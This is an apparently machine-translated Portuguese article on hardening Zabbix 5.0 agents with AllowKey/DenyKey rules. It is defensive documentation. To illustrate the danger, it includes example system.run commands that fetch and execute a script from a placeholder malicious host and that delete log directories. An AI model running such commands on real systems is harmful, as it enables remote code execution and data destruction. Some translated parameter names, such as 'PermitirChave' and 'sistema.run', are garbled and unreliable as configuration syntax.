Suporte a lista negra e lista branca para métricas do lado do agente no Zabbix 5.0

Suporte a lista negra e lista branca para métricas do lado do agente no Zabbix 5.0

Suporte a lista negra e lista branca para métricas do lado do agente

Tikhon Uskov, Engenheiro de Integração, Zabbix

Problemas de segurança de dados

Zabbix 5.0 possui uma nova funcionalidade que permite melhorar a segurança em sistemas que utilizam o Zabbix Agent e substitui o antigo parâmetro Habilitar Comandos Remotos.

As melhorias na segurança dos sistemas baseados em agentes decorrem do fato de que um agente pode executar um grande número de ações potencialmente perigosas.

  • O agente pode coletar praticamente qualquer informação, incluindo informações confidenciais ou potencialmente perigosas, de arquivos de configuração, arquivos de log, arquivos de senha ou quaisquer outros arquivos.

Por exemplo, usando o utilitário zabbix_get você pode acessar uma lista de usuários, seus diretórios pessoais, arquivos de senha, etc.

Suporte a lista negra e lista branca para métricas do lado do agente no Zabbix 5.0

Acessando dados usando o utilitário zabbix_get

ПРИМЕЧАНИЕ. Os dados só podem ser recuperados se o agente tiver permissões de leitura no arquivo correspondente. Mas, por exemplo, o arquivo /etc/passwd/ legível por todos os usuários.

  • O agente também pode executar comandos potencialmente perigosos. Por exemplo, chave *sistema.run[]** permite que você execute qualquer comando remoto em nós da rede, incluindo a execução de scripts da interface web do Zabbix que também executam comandos no lado do agente.

# zabbix_get -s my.prod.host -k system.run["wget http://malicious_source -O- | sh"]

# zabbix_get -s my.prod.host -k system.run["rm -rf /var/log/applog/"]

  • No Linux, o agente é executado por padrão sem privilégios de root, enquanto no Windows ele é executado como um serviço como Sistema e tem acesso irrestrito ao sistema de arquivos. Assim, se nenhuma alteração for feita nos parâmetros do Agente Zabbix após a instalação, o agente terá acesso ao registro, sistema de arquivos e poderá executar consultas WMI.

Nas versões anteriores o parâmetro EnableRemoteCommands=0 permitido apenas desabilitar métricas com a chave *sistema.run[]** e executando scripts a partir da interface da web, mas não havia como restringir o acesso a arquivos individuais, permitir ou desabilitar chaves individuais que foram instaladas com o agente ou limitar o uso de parâmetros individuais.

Suporte a lista negra e lista branca para métricas do lado do agente no Zabbix 5.0

Usando o parâmetro EnableRemoteCommand em versões anteriores do Zabbix

AllowKey/DenyKey

O Zabbix 5.0 ajuda a proteger contra esse tipo de acesso não autorizado, fornecendo listas de permissões e listas negras para permitir e negar métricas do lado do agente.

No Zabbix 5.0 todas as chaves, incluindo *sistema.run[]** estão habilitados e duas novas opções de configuração de agente foram adicionadas:

PermitirChave= — controlos autorizados;

NegarChave= — controlos proibidos;

onde é um padrão de nome de chave com parâmetros que usa metacaracteres (*).

As chaves AllowKey e DenyKey permitem permitir ou negar métricas individuais com base em um padrão específico. Ao contrário de outros parâmetros de configuração, o número de parâmetros AllowKey/DenyKey não é limitado. Isso permite definir claramente o que exatamente o agente pode fazer no sistema, criando uma árvore de verificações - chaves executáveis, onde a ordem em que são escritas desempenha um papel muito importante.

Sequência de regras

As regras são verificadas na ordem em que são inseridas no arquivo de configuração. A chave é verificada de acordo com as regras antes da primeira correspondência e, assim que a chave do elemento de dados corresponder ao padrão, ela será permitida ou negada. Depois disso, a verificação de regras é interrompida e as chaves restantes são ignoradas.

Portanto, se um elemento corresponder a uma regra de permissão e de negação, o resultado dependerá de qual regra está em primeiro lugar no arquivo de configuração.

Suporte a lista negra e lista branca para métricas do lado do agente no Zabbix 5.0

2 regras diferentes com o mesmo padrão e uma chave vfs.file.size[/tmp/file]

A ordem de uso das chaves AllowKey/DenyKey:

  1. regras exatas,
  2. regras gerais,
  3. regra proibitiva.

Por exemplo, se você precisar acessar os arquivos de uma determinada pasta, primeiro deverá permitir o acesso a eles e, em seguida, negar todo o resto que não esteja dentro das permissões estabelecidas. Se a regra de negação for usada primeiro, o acesso à pasta será negado.

Suporte a lista negra e lista branca para métricas do lado do agente no Zabbix 5.0

Sequência correta

Se você precisar permitir que 2 utilitários sejam executados via *sistema.run[]**, e a regra de negação for especificada primeiro, os utilitários não serão iniciados, porque o primeiro padrão sempre corresponderá a qualquer chave e as regras subsequentes serão ignoradas.

Suporte a lista negra e lista branca para métricas do lado do agente no Zabbix 5.0

Sequência errada

Padrões

Regras fundamentais

Padrão é uma expressão com curingas. O metacaractere (*) corresponde a qualquer número de caracteres em uma posição específica. Metacaracteres podem ser usados ​​tanto no nome da chave quanto nos parâmetros. Por exemplo, você pode definir estritamente o primeiro parâmetro com texto, e especifique o seguinte como curinga.

Os parâmetros devem ser colocados entre colchetes [].

  • system.run[* - incorreta
  • vfs.file*.txt] - incorreta
  • vfs.file.*[*] - certo

Exemplos de uso de curinga.

  1. No nome da chave e no parâmetro. Neste caso, a chave não corresponde a uma chave semelhante que não contém parâmetro, pois no padrão indicamos que queremos receber uma determinada terminação do nome da chave e um determinado conjunto de parâmetros.
  2. Se o padrão não usar colchetes, o padrão permitirá todas as chaves que não contenham parâmetros e negará todas as chaves que contenham o parâmetro especificado.
  3. Se a chave for escrita por extenso e os parâmetros forem especificados como curinga, ela corresponderá a qualquer chave semelhante com quaisquer parâmetros e não corresponderá à chave sem colchetes, ou seja, será permitida ou negada.

Suporte a lista negra e lista branca para métricas do lado do agente no Zabbix 5.0

Regras para preenchimento de parâmetros.

  • Se uma chave com parâmetros for usada, os parâmetros deverão ser especificados no arquivo de configuração. Os parâmetros devem ser especificados como um metacaractere. É necessário negar cuidadosamente o acesso a qualquer arquivo e levar em consideração quais informações a métrica pode fornecer sob diferentes grafias – com e sem parâmetros.

Suporte a lista negra e lista branca para métricas do lado do agente no Zabbix 5.0

Recursos de gravação de chaves com parâmetros

  • Se uma chave for especificada com parâmetros, mas os parâmetros forem opcionais e especificados como um metacaractere, uma chave sem parâmetros será resolvida. Por exemplo, se você deseja desabilitar o recebimento de informações sobre a carga na CPU e especificar que a chave system.cpu.load[*] deve ser desabilitada, não esqueça que a chave sem parâmetros retornará o valor médio de carga.

Suporte a lista negra e lista branca para métricas do lado do agente no Zabbix 5.0

Regras para preenchimento de parâmetros

Notas

Fixação

  • Algumas regras não podem ser alteradas pelo usuário, por exemplo, regras de descoberta ou regras de registro automático de agente. As regras AllowKey/DenyKey não afetam os seguintes parâmetros:
    - Item de nome do host
    - HostMetadataItem
    - HostInterfaceItem

ПРИМЕЧАНИЕ. Se um administrador desabilitar uma chave, quando consultado, o Zabbix não fornece informações sobre por que a métrica ou chave se enquadra na categoria 'NÃO SUPORTADO'. As informações sobre proibições de execução de comandos remotos também não são exibidas nos arquivos de log do agente. Isso ocorre por motivos de segurança, mas pode complicar a depuração se as métricas caírem em uma categoria não suportada por algum motivo.

  • Você não deve confiar em nenhuma ordem específica para conectar arquivos de configuração externos (por exemplo, em ordem alfabética).

Utilitários de linha de comando

Depois de configurar as regras, você precisa ter certeza de que tudo está configurado corretamente.

Você pode usar uma das três opções:

  • Adicione uma métrica ao Zabbix.
  • Teste com zabbix_agentd. Agente Zabbix com opção -imprimir (-p) mostra todas as chaves (que são permitidas por padrão), exceto aquelas que não são permitidas pela configuração. E com a opção -teste (-t) para uma chave proibida retornará 'Chave de item não suportada'.
  • Teste com zabbix_get. Utilitário zabbix_get com opção -k retornará 'ZBX_NOTSUPPORTED: métrica desconhecida'.

Permitir ou negar

Você pode negar acesso a um arquivo e verificar, por exemplo, usando o utilitário zabbix_getque o acesso ao arquivo seja negado.

Suporte a lista negra e lista branca para métricas do lado do agente no Zabbix 5.0

**

ПРИМЕЧАНИЕ. As aspas no parâmetro são ignoradas.

Neste caso, o acesso a tal arquivo pode ser permitido através de um caminho diferente. Por exemplo, se um link simbólico leva a ele.

Suporte a lista negra e lista branca para métricas do lado do agente no Zabbix 5.0

Recomenda-se verificar as diversas opções de aplicação das regras especificadas, bem como levar em consideração as possibilidades de contornar as proibições.

Perguntas e Respostas

pergunta. Por que foi escolhido um padrão tão complexo e com linguagem própria para descrever regras, permissões e proibições? Por que não foi possível utilizar, por exemplo, as expressões regulares que o Zabbix utiliza?

resposta. Este é um problema de desempenho de regex, pois geralmente há apenas um agente e ele verifica um grande número de métricas. Regex é uma operação bastante pesada e não podemos verificar milhares de métricas dessa forma. Wildcards – uma solução universal, amplamente utilizada e simples.

pergunta. Os arquivos de inclusão não estão incluídos em ordem alfabética?

resposta. Tanto quanto sei, é virtualmente impossível prever a ordem em que as regras serão aplicadas se as regras forem espalhadas por diferentes ficheiros. Eu recomendo coletar todas as regras AllowKey/DenyKey em um arquivo Incluir, porque elas interagem entre si e incluem este arquivo.

pergunta. No Zabbix 5.0 a opção 'EnableRemoteCommands='está faltando no arquivo de configuração e apenas AllowKey/DenyKey estão disponíveis?

Responder. sim está certo.

Obrigado!

Fonte: habr.com

Adicionar um comentário